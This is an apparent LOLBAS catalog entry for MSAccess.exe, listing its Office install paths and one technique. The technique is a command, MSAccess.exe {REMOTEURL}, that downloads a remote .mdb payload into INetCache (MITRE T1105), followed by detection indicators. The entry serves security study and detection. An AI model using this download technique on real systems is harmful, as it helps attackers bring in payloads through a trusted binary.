LOL · OtherMSBinary

MSAccess.exe

1 techniqueWindowsLOLBASGPL-3.0

// LOL · MSAccess.exe

Full path: C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\MSAccess.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\MSAccess.exe
C:\Program Files (x86)\Microsoft Office\Office16\MSAccess.exe
C:\Program Files\Microsoft Office\Office16\MSAccess.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\MSAccess.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\MSAccess.exe
C:\Program Files (x86)\Microsoft Office\Office15\MSAccess.exe
C:\Program Files\Microsoft Office\Office15\MSAccess.exe
C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\MSAccess.exe
C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\MSAccess.exe
C:\Program Files (x86)\Microsoft Office\Office14\MSAccess.exe
C:\Program Files\Microsoft Office\Office14\MSAccess.exe
C:\Program Files (x86)\Microsoft Office\Office12\MSAccess.exe
C:\Program Files\Microsoft Office\Office12\MSAccess.exe
Author: Nir Chako
Created: 2023-04-30T00:00:00.000Z
Credits: Nir Chako @C_h4ck_0
Upstream: lolbas-project.github.io/lolbas/OtherMSBinaries/MSAccess/

Download

File DownloadWindows

Downloads payload from remote server

Use It will download a remote payload (if it has the filename extension .mdb) and place it in INetCache.

MSAccess.exe {REMOTEURL}

Evidence: Upstream reference
Environment: Local host
Context: user
Native: Download
MITRE: T1105
Detection: IOC: URL on a MSAccess command line
IOC: MSAccess making unexpected network connections or DNS requests
Refs: lolbas-project.github.io/lolbas/OtherMSBinaries/MSAccess/